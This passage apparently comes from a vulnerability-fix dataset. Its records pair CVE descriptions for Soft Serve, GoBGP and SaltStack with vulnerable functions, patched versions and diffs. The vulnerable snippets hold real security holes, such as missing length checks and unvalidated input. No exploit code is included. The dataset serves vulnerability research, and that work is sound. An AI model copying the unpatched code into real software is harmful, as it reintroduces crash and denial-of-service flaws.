{\n\t\t\t\tlfsTransferSeconds.WithLabelValues(name, operation).Add(time.Since(start).Seconds())\n\t\t\t}()\n\t\tdefault:\n\t\t\tlfsAuthenticateCounter.WithLabelValues(name, operation).Inc()\n\t\t\tdefer func() {\n\t\t\t\tlfsAuthenticateSeconds.WithLabelValues(name, operation).Add(time.Since(start).Seconds())\n\t\t\t}()\n\t\t}\n\n\t\tif err := service.Handler(ctx, scmd); err != nil {\n\t\t\tlogger.Error(\"failed to handle lfs service\", \"service\", service, \"err\", err, \"repo\", name)\n\t\t\treturn git.ErrSystemMalfunction\n\t\t}\n\n\t\treturn nil\n\t}\n\n\treturn errors.New(\"unsupported git service\")\n}"}], "fix_func": [{"id": "fix_go_277_1", "commit": "4daebdd422a6ba8c04162d023f8be355a8fe3184", "file_path": "pkg/ssh/cmd/git.go", "start_line": 166, "end_line": 334, "snippet": "func gitRunE(cmd *cobra.Command, args []string) error {\n\tctx := cmd.Context()\n\tcfg := config.FromContext(ctx)\n\tbe := backend.FromContext(ctx)\n\tlogger := log.FromContext(ctx)\n\tstart := time.Now()\n\n\t// repo should be in the form of \"repo.git\"\n\tname := utils.SanitizeRepo(args[0])\n\tpk := sshutils.PublicKeyFromContext(ctx)\n\tak := sshutils.MarshalAuthorizedKey(pk)\n\tuser := proto.UserFromContext(ctx)\n\taccessLevel := be.AccessLevelForUser(ctx, name, user)\n\t// git bare repositories should end in \".git\"\n\t// https://git-scm.com/docs/gitrepository-layout\n\trepoDir := name + \".git\"\n\treposDir := filepath.Join(cfg.DataPath, \"repos\")\n\tif err := git.EnsureWithin(reposDir, repoDir); err != nil {\n\t\treturn err\n\t}\n\n\t// Set repo in context\n\trepo, _ := be.Repository(ctx, name)\n\tctx = proto.WithRepositoryContext(ctx, repo)\n\n\t// Environment variables to pass down to git hooks.\n\tenvs := []string{\n\t\t\"SOFT_SERVE_REPO_NAME=\" + name,\n\t\t\"SOFT_SERVE_REPO_PATH=\" + filepath.Join(reposDir, repoDir),\n\t\t\"SOFT_SERVE_PUBLIC_KEY=\" + ak,\n\t\t\"SOFT_SERVE_LOG_PATH=\" + filepath.Join(cfg.DataPath, \"log\", \"hooks.log\"),\n\t}\n\n\tif user != nil {\n\t\tenvs = append(envs,\n\t\t\t\"SOFT_SERVE_USERNAME=\"+user.Username(),\n\t\t)\n\t}\n\n\tenvs = append(envs, cfg.Environ()...)\n\n\trepoPath := filepath.Join(reposDir, repoDir)\n\tservice := git.Service(cmd.Name())\n\tstdin := cmd.InOrStdin()\n\tstdout := cmd.OutOrStdout()\n\tstderr := cmd.ErrOrStderr()\n\tscmd := git.ServiceCommand{\n\t\tStdin:  stdin,\n\t\tStdout: stdout,\n\t\tStderr: stderr,\n\t\tEnv:    envs,\n\t\tDir:    repoPath,\n\t}\n\n\tswitch service {\n\tcase git.ReceivePackService:\n\t\treceivePackCounter.WithLabelValues(name).Inc()\n\t\tdefer func() {\n\t\t\treceivePackSeconds.WithLabelValues(name).Add(time.Since(start).Seconds())\n\t\t}()\n\t\tif accessLevel < access.ReadWriteAccess {\n\t\t\treturn git.ErrNotAuthed\n\t\t}\n\t\tif repo == nil {\n\t\t\tif _, err := be.CreateRepository(ctx, name, user, proto.RepositoryOptions{Private: false}); err != nil {\n\t\t\t\tlog.Errorf(\"failed to create repo: %s\", err)\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcreateRepoCounter.WithLabelValues(name).Inc()\n\t\t}\n\n\t\tif err := service.Handler(ctx, scmd); err != nil {\n\t\t\tlogger.Error(\"failed to handle git service\", \"service\", service, \"err\", err, \"repo\", name)\n\t\t\tdefer func() {\n\t\t\t\tif repo == nil {\n\t\t\t\t\t// If the repo was created, but the request failed, delete it.\n\t\t\t\t\tbe.DeleteRepository(ctx, name) // nolint: errcheck\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\treturn git.ErrSystemMalfunction\n\t\t}\n\n\t\tif err := git.EnsureDefaultBranch(ctx, scmd.Dir); err != nil {\n\t\t\tlogger.Error(\"failed to ensure default branch\", \"err\", err, \"repo\", name)\n\t\t\treturn git.ErrSystemMalfunction\n\t\t}\n\n\t\treceivePackCounter.WithLabelValues(name).Inc()\n\n\t\treturn nil\n\tcase git.UploadPackService, git.UploadArchiveService:\n\t\tif accessLevel < access.ReadOnlyAccess {\n\t\t\treturn git.ErrNotAuthed\n\t\t}\n\n\t\tif repo == nil {\n\t\t\treturn git.ErrInvalidRepo\n\t\t}\n\n\t\tswitch service {\n\t\tcase git.UploadArchiveService:\n\t\t\tuploadArchiveCounter.WithLabelValues(name).Inc()\n\t\t\tdefer func() {\n\t\t\t\tuploadArchiveSeconds.WithLabelValues(name).Add(time.Since(start).Seconds())\n\t\t\t}()\n\t\tdefault:\n\t\t\tuploadPackCounter.WithLabelValues(name).Inc()\n\t\t\tdefer func() {\n\t\t\t\tuploadPackSeconds.WithLabelValues(name).Add(time.Since(start).Seconds())\n\t\t\t}()\n\t\t}\n\n\t\terr := service.Handler(ctx, scmd)\n\t\tif errors.Is(err, git.ErrInvalidRepo) {\n\t\t\treturn git.ErrInvalidRepo\n\t\t} else if err != nil {\n\t\t\tlogger.Error(\"failed to handle git service\", \"service\", service, \"err\", err, \"repo\", name)\n\t\t\treturn git.ErrSystemMalfunction\n\t\t}\n\n\t\treturn nil\n\tcase git.LFSTransferService, git.LFSAuthenticateService:\n\t\toperation := args[1]\n\t\tswitch operation {\n\t\tcase lfs.OperationDownload:\n\t\t\tif accessLevel < access.ReadOnlyAccess {\n\t\t\t\treturn git.ErrNotAuthed\n\t\t\t}\n\t\tcase lfs.OperationUpload:\n\t\t\tif accessLevel < access.ReadWriteAccess {\n\t\t\t\treturn git.ErrNotAuthed\n\t\t\t}\n\t\tdefault:\n\t\t\treturn git.ErrInvalidRequest\n\t\t}\n\n\t\tif repo == nil {\n\t\t\treturn git.ErrInvalidRepo\n\t\t}\n\n\t\tscmd.Args = []string{\n\t\t\tname,\n\t\t\targs[1],\n\t\t}\n\n\t\tswitch service {\n\t\tcase git.LFSTransferService:\n\t\t\tlfsTransferCounter.WithLabelValues(name, operation).Inc()\n\t\t\tdefer func() {\n\t\t\t\tlfsTransferSeconds.WithLabelValues(name, operation).Add(time.Since(start).Seconds())\n\t\t\t}()\n\t\tdefault:\n\t\t\tlfsAuthenticateCounter.WithLabelValues(name, operation).Inc()\n\t\t\tdefer func() {\n\t\t\t\tlfsAuthenticateSeconds.WithLabelValues(name, operation).Add(time.Since(start).Seconds())\n\t\t\t}()\n\t\t}\n\n\t\tif err := service.Handler(ctx, scmd); err != nil {\n\t\t\tlogger.Error(\"failed to handle lfs service\", \"service\", service, \"err\", err, \"repo\", name)\n\t\t\treturn git.ErrSystemMalfunction\n\t\t}\n\n\t\treturn nil\n\t}\n\n\treturn errors.New(\"unsupported git service\")\n}"}], "vul_patch": "--- a/pkg/ssh/cmd/git.go\n+++ b/pkg/ssh/cmd/git.go\n@@ -37,9 +37,6 @@\n \t\t)\n \t}\n \n-\t// Add ssh session & config environ\n-\ts := sshutils.SessionFromContext(ctx)\n-\tenvs = append(envs, s.Environ()...)\n \tenvs = append(envs, cfg.Environ()...)\n \n \trepoPath := filepath.Join(reposDir, repoDir)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-43972", "cve_description": "An issue was discovered in GoBGP before 3.35.0. An attacker can cause a crash in the pkg/packet/bgp/bgp.go flowspec parser by sending fewer than 20 bytes in a certain context.", "cwe_info": {"CWE-1284": {"name": "Improper Validation of Specified Quantity in Input", "description": "The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties."}}, "repo": "https://github.com/osrg/gobgp", "patch_url": ["https://github.com/osrg/gobgp/commit/ca7383f450f7b296c5389feceef2467de5ab6e5a"], "programing_language": "Go", "vul_func": [{"id": "vul_go_301_1", "commit": "5693c58a4815cc6327b8d3b6980f0e5aced28abe", "file_path": "pkg/packet/bgp/bgp.go", "start_line": 12675, "end_line": 12726, "snippet": "func parseGenericTransitiveExperimentalExtended(data []byte) (ExtendedCommunityInterface, error) {\n\ttyp := ExtendedCommunityAttrType(data[0])\n\tif typ != EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL && typ != EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL2 && typ != EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL3 {\n\t\treturn nil, NewMessageError(BGP_ERROR_UPDATE_MESSAGE_ERROR, BGP_ERROR_SUB_MALFORMED_ATTRIBUTE_LIST, nil, fmt.Sprintf(\"ext comm type is not EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL: %d\", data[0]))\n\t}\n\tsubType := ExtendedCommunityAttrSubType(data[1])\n\tswitch subType {\n\tcase EC_SUBTYPE_FLOWSPEC_TRAFFIC_RATE:\n\t\tasn := binary.BigEndian.Uint16(data[2:4])\n\t\tbits := binary.BigEndian.Uint32(data[4:8])\n\t\trate := math.Float32frombits(bits)\n\t\treturn NewTrafficRateExtended(asn, rate), nil\n\tcase EC_SUBTYPE_FLOWSPEC_TRAFFIC_ACTION:\n\t\tterminal := data[7]&0x1 == 1\n\t\tsample := (data[7]>>1)&0x1 == 1\n\t\treturn NewTrafficActionExtended(terminal, sample), nil\n\tcase EC_SUBTYPE_FLOWSPEC_REDIRECT:\n\t\t// RFC7674\n\t\tswitch typ {\n\t\tcase EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL:\n\t\t\tas := binary.BigEndian.Uint16(data[2:4])\n\t\t\tlocalAdmin := binary.BigEndian.Uint32(data[4:8])\n\t\t\treturn NewRedirectTwoOctetAsSpecificExtended(as, localAdmin), nil\n\t\tcase EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL2:\n\t\t\tipv4 := net.IP(data[2:6]).String()\n\t\t\tlocalAdmin := binary.BigEndian.Uint16(data[6:8])\n\t\t\treturn NewRedirectIPv4AddressSpecificExtended(ipv4, localAdmin), nil\n\t\tcase EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL3:\n\t\t\tas := binary.BigEndian.Uint32(data[2:6])\n\t\t\tlocalAdmin := binary.BigEndian.Uint16(data[6:8])\n\t\t\treturn NewRedirectFourOctetAsSpecificExtended(as, localAdmin), nil\n\t\t}\n\tcase EC_SUBTYPE_FLOWSPEC_TRAFFIC_REMARK:\n\t\tdscp := data[7]\n\t\treturn NewTrafficRemarkExtended(dscp), nil\n\tcase EC_SUBTYPE_FLOWSPEC_REDIRECT_IP6:\n\t\tipv6 := net.IP(data[2:18]).String()\n\t\tlocalAdmin := binary.BigEndian.Uint16(data[18:20])\n\t\treturn NewRedirectIPv6AddressSpecificExtended(ipv6, localAdmin), nil\n\tcase EC_SUBTYPE_L2_INFO:\n\t\tswitch data[2] {\n\t\tcase byte(LAYER2ENCAPSULATION_TYPE_VPLS):\n\t\t\tcontrolFlags := uint8(data[3])\n\t\t\tmtu := binary.BigEndian.Uint16(data[4:6])\n\t\t\treturn NewVPLSExtended(controlFlags, mtu), nil\n\t\t}\n\t}\n\treturn &UnknownExtended{\n\t\tType:  ExtendedCommunityAttrType(data[0]),\n\t\tValue: data[1:8],\n\t}, nil\n}"}], "fix_func": [{"id": "fix_go_301_1", "commit": "ca7383f450f7b296c5389feceef2467de5ab6e5a", "file_path": "pkg/packet/bgp/bgp.go", "start_line": 12675, "end_line": 12730, "snippet": "func parseGenericTransitiveExperimentalExtended(data []byte) (ExtendedCommunityInterface, error) {\n\ttyp := ExtendedCommunityAttrType(data[0])\n\tif typ != EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL && typ != EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL2 && typ != EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL3 {\n\t\treturn nil, NewMessageError(BGP_ERROR_UPDATE_MESSAGE_ERROR, BGP_ERROR_SUB_MALFORMED_ATTRIBUTE_LIST, nil, fmt.Sprintf(\"ext comm type is not EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL: %d\", data[0]))\n\t}\n\tsubType := ExtendedCommunityAttrSubType(data[1])\n\tswitch subType {\n\tcase EC_SUBTYPE_FLOWSPEC_TRAFFIC_RATE:\n\t\tasn := binary.BigEndian.Uint16(data[2:4])\n\t\tbits := binary.BigEndian.Uint32(data[4:8])\n\t\trate := math.Float32frombits(bits)\n\t\treturn NewTrafficRateExtended(asn, rate), nil\n\tcase EC_SUBTYPE_FLOWSPEC_TRAFFIC_ACTION:\n\t\tterminal := data[7]&0x1 == 1\n\t\tsample := (data[7]>>1)&0x1 == 1\n\t\treturn NewTrafficActionExtended(terminal, sample), nil\n\tcase EC_SUBTYPE_FLOWSPEC_REDIRECT:\n\t\t// RFC7674\n\t\tswitch typ {\n\t\tcase EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL:\n\t\t\tas := binary.BigEndian.Uint16(data[2:4])\n\t\t\tlocalAdmin := binary.BigEndian.Uint32(data[4:8])\n\t\t\treturn NewRedirectTwoOctetAsSpecificExtended(as, localAdmin), nil\n\t\tcase EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL2:\n\t\t\tipv4 := net.IP(data[2:6]).String()\n\t\t\tlocalAdmin := binary.BigEndian.Uint16(data[6:8])\n\t\t\treturn NewRedirectIPv4AddressSpecificExtended(ipv4, localAdmin), nil\n\t\tcase EC_TYPE_GENERIC_TRANSITIVE_EXPERIMENTAL3:\n\t\t\tas := binary.BigEndian.Uint32(data[2:6])\n\t\t\tlocalAdmin := binary.BigEndian.Uint16(data[6:8])\n\t\t\treturn NewRedirectFourOctetAsSpecificExtended(as, localAdmin), nil\n\t\t}\n\tcase EC_SUBTYPE_FLOWSPEC_TRAFFIC_REMARK:\n\t\tdscp := data[7]\n\t\treturn NewTrafficRemarkExtended(dscp), nil\n\tcase EC_SUBTYPE_FLOWSPEC_REDIRECT_IP6:\n\t\tif len(data) < 20 {\n\t\t\treturn nil, NewMessageError(BGP_ERROR_UPDATE_MESSAGE_ERROR, BGP_ERROR_SUB_MALFORMED_ATTRIBUTE_LIST, nil, \"not all extended community bytes for IPv6 FlowSpec are available\")\n\t\t}\n\n\t\tipv6 := net.IP(data[2:18]).String()\n\t\tlocalAdmin := binary.BigEndian.Uint16(data[18:20])\n\t\treturn NewRedirectIPv6AddressSpecificExtended(ipv6, localAdmin), nil\n\tcase EC_SUBTYPE_L2_INFO:\n\t\tswitch data[2] {\n\t\tcase byte(LAYER2ENCAPSULATION_TYPE_VPLS):\n\t\t\tcontrolFlags := uint8(data[3])\n\t\t\tmtu := binary.BigEndian.Uint16(data[4:6])\n\t\t\treturn NewVPLSExtended(controlFlags, mtu), nil\n\t\t}\n\t}\n\treturn &UnknownExtended{\n\t\tType:  ExtendedCommunityAttrType(data[0]),\n\t\tValue: data[1:8],\n\t}, nil\n}"}], "vul_patch": "--- a/pkg/packet/bgp/bgp.go\n+++ b/pkg/packet/bgp/bgp.go\n@@ -34,6 +34,10 @@\n \t\tdscp := data[7]\n \t\treturn NewTrafficRemarkExtended(dscp), nil\n \tcase EC_SUBTYPE_FLOWSPEC_REDIRECT_IP6:\n+\t\tif len(data) < 20 {\n+\t\t\treturn nil, NewMessageError(BGP_ERROR_UPDATE_MESSAGE_ERROR, BGP_ERROR_SUB_MALFORMED_ATTRIBUTE_LIST, nil, \"not all extended community bytes for IPv6 FlowSpec are available\")\n+\t\t}\n+\n \t\tipv6 := net.IP(data[2:18]).String()\n \t\tlocalAdmin := binary.BigEndian.Uint16(data[18:20])\n \t\treturn NewRedirectIPv6AddressSpecificExtended(ipv6, localAdmin), nil\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-14696", "cve_description": "SaltStack Salt before 2016.3.8, 2016.11.x before 2016.11.8, and 2017.7.x before 2017.7.2 allows remote attackers to cause a denial of service via a crafted authentication request.", "cwe_info": {"CWE-20": {"name": "Improper Input Validation", "description": "The product receives input or data, but it does\n        not validate or incorrectly validates that the input has the\n        properties that are required to process the data safely and\n        correctly."}}, "repo": "https://github.com/saltstack/salt", "patch_url": ["https://github.com/saltstack/salt/commit/5f8b5e1a0f23fe0f2be5b3c3e04199b57a53db5b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_327_1", "commit": "dd0b338", "file_path": "salt/crypt.py", "start_line": 558, "end_line": 664, "snippet": "    def sign_in(self, timeout=60, safe=True, tries=1, channel=None):\n        '''\n        Send a sign in request to the master, sets the key information and\n        returns a dict containing the master publish interface to bind to\n        and the decrypted aes key for transport decryption.\n\n        :param int timeout: Number of seconds to wait before timing out the sign-in request\n        :param bool safe: If True, do not raise an exception on timeout. Retry instead.\n        :param int tries: The number of times to try to authenticate before giving up.\n\n        :raises SaltReqTimeoutError: If the sign-in request has timed out and :param safe: is not set\n\n        :return: Return a string on failure indicating the reason for failure. On success, return a dictionary\n        with the publication port and the shared AES key.\n\n        '''\n        auth = {}\n\n        auth_timeout = self.opts.get('auth_timeout', None)\n        if auth_timeout is not None:\n            timeout = auth_timeout\n        auth_safemode = self.opts.get('auth_safemode', None)\n        if auth_safemode is not None:\n            safe = auth_safemode\n        auth_tries = self.opts.get('auth_tries', None)\n        if auth_tries is not None:\n            tries = auth_tries\n\n        m_pub_fn = os.path.join(self.opts['pki_dir'], self.mpub)\n\n        auth['master_uri'] = self.opts['master_uri']\n\n        if not channel:\n            channel = salt.transport.client.AsyncReqChannel.factory(self.opts,\n                                                                crypt='clear',\n                                                                io_loop=self.io_loop)\n\n        sign_in_payload = self.minion_sign_in_payload()\n        try:\n            payload = yield channel.send(\n                sign_in_payload,\n                tries=tries,\n                timeout=timeout\n            )\n        except SaltReqTimeoutError as e:\n            if safe:\n                log.warning('SaltReqTimeoutError: {0}'.format(e))\n                raise tornado.gen.Return('retry')\n            if self.opts.get('detect_mode') is True:\n                raise tornado.gen.Return('retry')\n            else:\n                raise SaltClientError('Attempt to authenticate with the salt master failed with timeout error')\n        if 'load' in payload:\n            if 'ret' in payload['load']:\n                if not payload['load']['ret']:\n                    if self.opts['rejected_retry']:\n                        log.error(\n                            'The Salt Master has rejected this minion\\'s public '\n                            'key.\\nTo repair this issue, delete the public key '\n                            'for this minion on the Salt Master.\\nThe Salt '\n                            'Minion will attempt to to re-authenicate.'\n                        )\n                        raise tornado.gen.Return('retry')\n                    else:\n                        log.critical(\n                            'The Salt Master has rejected this minion\\'s public '\n                            'key!\\nTo repair this issue, delete the public key '\n                            'for this minion on the Salt Master and restart this '\n                            'minion.\\nOr restart the Salt Master in open mode to '\n                            'clean out the keys. The Salt Minion will now exit.'\n                        )\n                        sys.exit(salt.defaults.exitcodes.EX_OK)\n                # has the master returned that its maxed out with minions?\n                elif payload['load']['ret'] == 'full':\n                    raise tornado.gen.Return('full')\n                else:\n                    log.error(\n                        'The Salt Master has cached the public key for this '\n                        'node, this salt minion will wait for {0} seconds '\n                        'before attempting to re-authenticate'.format(\n                            self.opts['acceptance_wait_time']\n                        )\n                    )\n                    raise tornado.gen.Return('retry')\n        auth['aes'] = self.verify_master(payload, master_pub='token' in sign_in_payload)\n        if not auth['aes']:\n            log.critical(\n                'The Salt Master server\\'s public key did not authenticate!\\n'\n                'The master may need to be updated if it is a version of Salt '\n                'lower than {0}, or\\n'\n                'If you are confident that you are connecting to a valid Salt '\n                'Master, then remove the master public key and restart the '\n                'Salt Minion.\\nThe master public key can be found '\n                'at:\\n{1}'.format(salt.version.__version__, m_pub_fn)\n            )\n            raise SaltClientError('Invalid master key')\n        if self.opts.get('syndic_master', False):  # Is syndic\n            syndic_finger = self.opts.get('syndic_finger', self.opts.get('master_finger', False))\n            if syndic_finger:\n                if salt.utils.pem_finger(m_pub_fn, sum_type=self.opts['hash_type']) != syndic_finger:\n                    self._finger_fail(syndic_finger, m_pub_fn)\n        else:\n            if self.opts.get('master_finger', False):\n                if salt.utils.pem_finger(m_pub_fn, sum_type=self.opts['hash_type']) != self.opts['master_finger']:\n                    self._finger_fail(self.opts['master_finger'], m_pub_fn)\n        auth['publish_port'] = payload['publish_port']\n        raise tornado.gen.Return(auth)"}, {"id": "vul_py_327_2", "commit": "dd0b338", "file_path": "salt/transport/tcp.py", "start_line": 609, "end_line": 669, "snippet": "    def handle_message(self, stream, header, payload):\n        '''\n        Handle incoming messages from underylying tcp streams\n        '''\n        try:\n            try:\n                payload = self._decode_payload(payload)\n            except Exception:\n                stream.write(salt.transport.frame.frame_msg('bad load', header=header))\n                raise tornado.gen.Return()\n\n            # TODO helper functions to normalize payload?\n            if not isinstance(payload, dict) or not isinstance(payload.get('load'), dict):\n                yield stream.write(salt.transport.frame.frame_msg(\n                    'payload and load must be a dict', header=header))\n                raise tornado.gen.Return()\n\n            # intercept the \"_auth\" commands, since the main daemon shouldn't know\n            # anything about our key auth\n            if payload['enc'] == 'clear' and payload.get('load', {}).get('cmd') == '_auth':\n                yield stream.write(salt.transport.frame.frame_msg(\n                    self._auth(payload['load']), header=header))\n                raise tornado.gen.Return()\n\n            # TODO: test\n            try:\n                ret, req_opts = yield self.payload_handler(payload)\n            except Exception as e:\n                # always attempt to return an error to the minion\n                stream.write('Some exception handling minion payload')\n                log.error('Some exception handling a payload from minion', exc_info=True)\n                stream.close()\n                raise tornado.gen.Return()\n\n            req_fun = req_opts.get('fun', 'send')\n            if req_fun == 'send_clear':\n                stream.write(salt.transport.frame.frame_msg(ret, header=header))\n            elif req_fun == 'send':\n                stream.write(salt.transport.frame.frame_msg(self.crypticle.dumps(ret), header=header))\n            elif req_fun == 'send_private':\n                stream.write(salt.transport.frame.frame_msg(self._encrypt_private(ret,\n                                                             req_opts['key'],\n                                                             req_opts['tgt'],\n                                                             ), header=header))\n            else:\n                log.error('Unknown req_fun {0}'.format(req_fun))\n                # always attempt to return an error to the minion\n                stream.write('Server-side exception handling payload')\n                stream.close()\n        except tornado.gen.Return:\n            raise\n        except tornado.iostream.StreamClosedError:\n            # Stream was closed. This could happen if the remote side\n            # closed the connection on its end (eg in a timeout or shutdown\n            # situation).\n            log.error('Connection was unexpectedly closed', exc_info=True)\n        except Exception as exc:  # pylint: disable=broad-except\n            # Absorb any other exceptions\n            log.error('Unexpected exception occurred: {0}'.format(exc), exc_info=True)\n\n        raise tornado.gen.Return()"}, {"id": "vul_py_327_3", "commit": "dd0b338", "file_path": "salt/transport/zeromq.py", "start_line": 567, "end_line": 630, "snippet": "    def handle_message(self, stream, payload):\n        '''\n        Handle incoming messages from underylying TCP streams\n\n        :stream ZMQStream stream: A ZeroMQ stream.\n        See http://zeromq.github.io/pyzmq/api/generated/zmq.eventloop.zmqstream.html\n\n        :param dict payload: A payload to process\n        '''\n        try:\n            payload = self.serial.loads(payload[0])\n            payload = self._decode_payload(payload)\n        except Exception as exc:\n            exc_type = type(exc).__name__\n            if exc_type == 'AuthenticationError':\n                log.debug(\n                    'Minion failed to auth to master. Since the payload is '\n                    'encrypted, it is not known which minion failed to '\n                    'authenticate. It is likely that this is a transient '\n                    'failure due to the master rotating its public key.'\n                )\n            else:\n                log.error('Bad load from minion: %s: %s', exc_type, exc)\n            stream.send(self.serial.dumps('bad load'))\n            raise tornado.gen.Return()\n\n        # TODO helper functions to normalize payload?\n        if not isinstance(payload, dict) or not isinstance(payload.get('load'), dict):\n            log.error('payload and load must be a dict. Payload was: {0} and load was {1}'.format(payload, payload.get('load')))\n            stream.send(self.serial.dumps('payload and load must be a dict'))\n            raise tornado.gen.Return()\n\n        # intercept the \"_auth\" commands, since the main daemon shouldn't know\n        # anything about our key auth\n        if payload['enc'] == 'clear' and payload.get('load', {}).get('cmd') == '_auth':\n            stream.send(self.serial.dumps(self._auth(payload['load'])))\n            raise tornado.gen.Return()\n\n        # TODO: test\n        try:\n            # Take the payload_handler function that was registered when we created the channel\n            # and call it, returning control to the caller until it completes\n            ret, req_opts = yield self.payload_handler(payload)\n        except Exception as e:\n            # always attempt to return an error to the minion\n            stream.send('Some exception handling minion payload')\n            log.error('Some exception handling a payload from minion', exc_info=True)\n            raise tornado.gen.Return()\n\n        req_fun = req_opts.get('fun', 'send')\n        if req_fun == 'send_clear':\n            stream.send(self.serial.dumps(ret))\n        elif req_fun == 'send':\n            stream.send(self.serial.dumps(self.crypticle.dumps(ret)))\n        elif req_fun == 'send_private':\n            stream.send(self.serial.dumps(self._encrypt_private(ret,\n                                                                req_opts['key'],\n                                                                req_opts['tgt'],\n                                                                )))\n        else:\n            log.error('Unknown req_fun {0}'.format(req_fun))\n            # always attempt to return an error to the minion\n            stream.send('Server-side exception handling payload')\n        raise tornado.gen.Return()"}], "fix_func": [{"id": "fix_py_327_1", "commit": "5f8b5e1a0f23fe0f2be5b3c3e04199b57a53db5b", "file_path": "salt/crypt.py", "start_line": 558, "end_line": 667, "snippet": "    def sign_in(self, timeout=60, safe=True, tries=1, channel=None):\n        '''\n        Send a sign in request to the master, sets the key information and\n        returns a dict containing the master publish interface to bind to\n        and the decrypted aes key for transport decryption.\n\n        :param int timeout: Number of seconds to wait before timing out the sign-in request\n        :param bool safe: If True, do not raise an exception on timeout. Retry instead.\n        :param int tries: The number of times to try to authenticate before giving up.\n\n        :raises SaltReqTimeoutError: If the sign-in request has timed out and :param safe: is not set\n\n        :return: Return a string on failure indicating the reason for failure. On success, return a dictionary\n        with the publication port and the shared AES key.\n\n        '''\n        auth = {}\n\n        auth_timeout = self.opts.get('auth_timeout', None)\n        if auth_timeout is not None:\n            timeout = auth_timeout\n        auth_safemode = self.opts.get('auth_safemode', None)\n        if auth_safemode is not None:\n            safe = auth_safemode\n        auth_tries = self.opts.get('auth_tries', None)\n        if auth_tries is not None:\n            tries = auth_tries\n\n        m_pub_fn = os.path.join(self.opts['pki_dir'], self.mpub)\n\n        auth['master_uri'] = self.opts['master_uri']\n\n        if not channel:\n            channel = salt.transport.client.AsyncReqChannel.factory(self.opts,\n                                                                crypt='clear',\n                                                                io_loop=self.io_loop)\n\n        sign_in_payload = self.minion_sign_in_payload()\n        try:\n            payload = yield channel.send(\n                sign_in_payload,\n                tries=tries,\n                timeout=timeout\n            )\n        except SaltReqTimeoutError as e:\n            if safe:\n                log.warning('SaltReqTimeoutError: {0}'.format(e))\n                raise tornado.gen.Return('retry')\n            if self.opts.get('detect_mode') is True:\n                raise tornado.gen.Return('retry')\n            else:\n                raise SaltClientError('Attempt to authenticate with the salt master failed with timeout error')\n        if not isinstance(payload, dict):\n            log.error('Sign-in attempt failed: %s', payload)\n            raise tornado.gen.Return(False)\n        if 'load' in payload:\n            if 'ret' in payload['load']:\n                if not payload['load']['ret']:\n                    if self.opts['rejected_retry']:\n                        log.error(\n                            'The Salt Master has rejected this minion\\'s public '\n                            'key.\\nTo repair this issue, delete the public key '\n                            'for this minion on the Salt Master.\\nThe Salt '\n                            'Minion will attempt to to re-authenicate.'\n                        )\n                        raise tornado.gen.Return('retry')\n                    else:\n                        log.critical(\n                            'The Salt Master has rejected this minion\\'s public '\n                            'key!\\nTo repair this issue, delete the public key '\n                            'for this minion on the Salt Master and restart this '\n                            'minion.\\nOr restart the Salt Master in open mode to '\n                            'clean out the keys. The Salt Minion will now exit.'\n                        )\n                        sys.exit(salt.defaults.exitcodes.EX_OK)\n                # has the master returned that its maxed out with minions?\n                elif payload['load']['ret'] == 'full':\n                    raise tornado.gen.Return('full')\n                else:\n                    log.error(\n                        'The Salt Master has cached the public key for this '\n                        'node, this salt minion will wait for {0} seconds '\n                        'before attempting to re-authenticate'.format(\n                            self.opts['acceptance_wait_time']\n                        )\n                    )\n                    raise tornado.gen.Return('retry')\n        auth['aes'] = self.verify_master(payload, master_pub='token' in sign_in_payload)\n        if not auth['aes']:\n            log.critical(\n                'The Salt Master server\\'s public key did not authenticate!\\n'\n                'The master may need to be updated if it is a version of Salt '\n                'lower than {0}, or\\n'\n                'If you are confident that you are connecting to a valid Salt '\n                'Master, then remove the master public key and restart the '\n                'Salt Minion.\\nThe master public key can be found '\n                'at:\\n{1}'.format(salt.version.__version__, m_pub_fn)\n            )\n            raise SaltClientError('Invalid master key')\n        if self.opts.get('syndic_master', False):  # Is syndic\n            syndic_finger = self.opts.get('syndic_finger', self.opts.get('master_finger', False))\n            if syndic_finger:\n                if salt.utils.pem_finger(m_pub_fn, sum_type=self.opts['hash_type']) != syndic_finger:\n                    self._finger_fail(syndic_finger, m_pub_fn)\n        else:\n            if self.opts.get('master_finger', False):\n                if salt.utils.pem_finger(m_pub_fn, sum_type=self.opts['hash_type']) != self.opts['master_finger']:\n                    self._finger_fail(self.opts['master_finger'], m_pub_fn)\n        auth['publish_port'] = payload['publish_port']\n        raise tornado.gen.Return(auth)"}, {"id": "fix_py_327_2", "commit": "5f8b5e1a0f23fe0f2be5b3c3e04199b57a53db5b", "file_path": "salt/transport/tcp.py", "start_line": 609, "end_line": 680, "snippet": "    def handle_message(self, stream, header, payload):\n        '''\n        Handle incoming messages from underylying tcp streams\n        '''\n        try:\n            try:\n                payload = self._decode_payload(payload)\n            except Exception:\n                stream.write(salt.transport.frame.frame_msg('bad load', header=header))\n                raise tornado.gen.Return()\n\n            # TODO helper functions to normalize payload?\n            if not isinstance(payload, dict) or not isinstance(payload.get('load'), dict):\n                yield stream.write(salt.transport.frame.frame_msg(\n                    'payload and load must be a dict', header=header))\n                raise tornado.gen.Return()\n\n            try:\n                id_ = payload['load'].get('id', '')\n                if '\\0' in id_:\n                    log.error('Payload contains an id with a null byte: %s', payload)\n                    stream.send(self.serial.dumps('bad load: id contains a null byte'))\n                    raise tornado.gen.Return()\n            except TypeError:\n                log.error('Payload contains non-string id: %s', payload)\n                stream.send(self.serial.dumps('bad load: id {0} is not a string'.format(id_)))\n                raise tornado.gen.Return()\n\n            # intercept the \"_auth\" commands, since the 